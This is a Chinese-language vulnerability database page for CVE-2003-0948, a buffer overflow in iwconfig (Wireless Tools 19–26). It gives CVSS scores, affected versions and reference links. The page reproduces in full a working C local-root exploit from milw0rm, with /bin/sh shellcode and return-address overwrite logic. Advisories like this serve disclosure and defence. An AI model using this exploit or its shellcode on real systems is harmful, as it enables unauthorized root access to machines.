CVE-2003-0948
CVSS7.2
发布时间 :2003-12-15 00:00:00
修订时间 :2008-09-05 16:35:38
NMCES    

[原文]Buffer overflow in iwconfig allows local users to execute arbitrary code via a long HOME environment variable.


[CNNVD]IWConfig Local ARG命令行缓冲区溢出漏洞(CNNVD-200312-054)

        iwconfig存在缓冲区溢出漏洞。本地用户借助超长HOME环境变量执行任意代码。
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:wireless_tools:wireless_tools:25
cpe:/a:wireless_tools:wireless_tools:20
cpe:/a:wireless_tools:wireless_tools:19
cpe:/a:wireless_tools:wireless_tools:24
cpe:/a:wireless_tools:wireless_tools:23
cpe:/a:wireless_tools:wireless_tools:22
cpe:/a:wireless_tools:wireless_tools:21
cpe:/a:wireless_tools:wireless_tools:26

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0948
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0948
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200312-054
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/8901
(VENDOR_ADVISORY)  BID  8901
http://www.securiteam.com/exploits/6Y00R1P8KY.html
(VENDOR_ADVISORY)  MISC  http://www.securiteam.com/exploits/6Y00R1P8KY.html

- 漏洞信息

IWConfig Local ARG命令行缓冲区溢出漏洞
高危 缓冲区溢出
2003-12-15 00:00:00 2005-10-20 00:00:00
本地  
        iwconfig存在缓冲区溢出漏洞。本地用户借助超长HOME环境变量执行任意代码。
        

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (1215)

Wireless Tools 26 (iwconfig) Local Root Exploit (some setuid) (EDBID:1215)
linux local
2005-09-14 Verified
0 Qnix
N/A [点击下载]
// (if the iwconfig executable is setuid) /str0ke

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

/* 45 Byte /bin/sh >> http://www.milw0rm.com/id.php?id=1169 */
char shellcode[]=
                 "\x31\xc0\x31\xdb\x50\x68\x2f\x2f"
                 "\x73\x68\x68\x2f\x62\x69\x6e\x89"
                 "\xe3\x50\x53\x89\xe1\x31\xd2\xb0"
                 "\x0b\x51\x52\x55\x89\xe5\x0f\x34"
                 "\x31\xc0\x31\xdb\xfe\xc0\x51\x52"
                 "\x55\x89\xe5\x0f\x34";

int main(int argc,char **argv){
  char buf[96];
  long esp, *addr_ptr;
  unsigned long ret;
  int i, offset;
  unsigned long sp(void)
  { __asm__("movl %esp, %eax");}
  char *prog[]={argv[1],buf,NULL};
  char *env[]={"3v1lsh3ll0=",shellcode,NULL};

  if (argc >= 2) {
    printf("\n*********************************************\n");
    printf("   iwconfig Version 26 Localroot Exploit    \n");
    printf("    Coded by Qnix[at]bsdmail[dot]org      \n");
    printf("*********************************************\n\n");
  } else {
    printf("\n*********************************************\n");
    printf("   iwconfig Version 26 Localroot Exploit    \n");
    printf("    Coded by Qnix[at]bsdmail[dot]org      \n");
    printf("*********************************************\n\n");
    printf("\n USEAGE: ./iwconfig-exploit <iwconfig FULLPATH e.g /sbin/iwconfig or /usr/sbin/iwconfig>\n\n");
    return 1;
    }

  offset = 0;
  esp = sp();
  ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
  printf("[~] S-p.ESP     : 0x%x\n", esp);
  printf("[~] O-F.ESP     : 0x%x\n", offset);
  printf("[~] Return Addr : 0x%x\n\n", ret);

  memset(buf,0x41,sizeof(buf));
  memcpy(&buf[92],&ret,4);

  execve(prog[0],prog,env);

 }

// milw0rm.com [2005-09-14]
		

- 漏洞信息

IWConfig Local ARGV Command Line Buffer Overflow Vulnerability
Boundary Condition Error 8901
No Yes
2003-10-27 12:00:00 2009-07-11 11:56:00
Discovery credited to aXiS.

- 受影响的程序版本

Wireless Tools For Linux Wireless Tools Version 26
Wireless Tools For Linux Wireless Tools Version 25
Wireless Tools For Linux Wireless Tools Version 24
Wireless Tools For Linux Wireless Tools Version 23
Wireless Tools For Linux Wireless Tools Version 22
Wireless Tools For Linux Wireless Tools Version 21
Wireless Tools For Linux Wireless Tools Version 20
Wireless Tools For Linux Wireless Tools Version 19

- 漏洞讨论

A problem has been identified in the iwconfig program when handling strings on the commandline. Because of this, a local attacker may be able to gain elevated privileges.

- 漏洞利用

The following exploit has been contributed by aXiS &lt;aXis@ph4nt0m.net&gt;, an additional exploit 'iw-config.c' has been supplied by heka. A third exploit (iwconfig.c) has been made available by NrAziz. The fourth exploit (iwconfig-exploit.c) has been made available by Qnix@bsdmail.org:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站